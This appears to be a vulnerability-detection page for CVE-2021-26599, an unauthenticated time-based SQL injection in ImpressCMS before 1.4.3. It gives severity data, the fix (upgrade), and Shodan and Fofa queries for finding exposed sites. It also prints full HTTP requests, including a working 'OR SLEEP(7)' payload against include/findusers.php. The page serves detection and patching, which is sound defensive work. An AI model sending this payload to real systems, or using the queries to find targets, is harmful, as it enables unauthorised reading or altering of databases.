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CVE-2021-26599: ImpressCMS < 1.4.3 - SQL Injection

TitleImpressCMS < 1.4.3 - SQL Injection
Authorritikchaddha
SeverityHigh
ImpactUnauthenticated attackers can execute arbitrary SQL queries via SQL injection, potentially extracting sensitive database contents or modifying data.
RemediationUpdate ImpressCMS to version 1.4.3 or later.
CVSS Score9.8
EPSS Score0.04018
CVE IDCVE-2021-26599
CWE IDCWE-89
Shodan Queryhttp.html:"ImpressCMS"
Fofa Querybody="ImpressCMS"
Tags cve cve2021 impresscms sqli time-based-sqli vuln

🔍 Vulnerability Description

ImpressCMS before 1.4.3 is vulnerable to SQL injection via the groups parameter in include/findusers.php, allowing unauthenticated attackers to execute arbitrary SQL queries.

🌐 HTTP Request

GET /misc.php?action=showpopups&type=friend HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.3
Connection: close
Accept-Encoding: gzip

POST /include/findusers.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user_submit=1&token=ruBzIW&groups[]=1%20OR%20SLEEP(7)#

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26599.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-26599.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A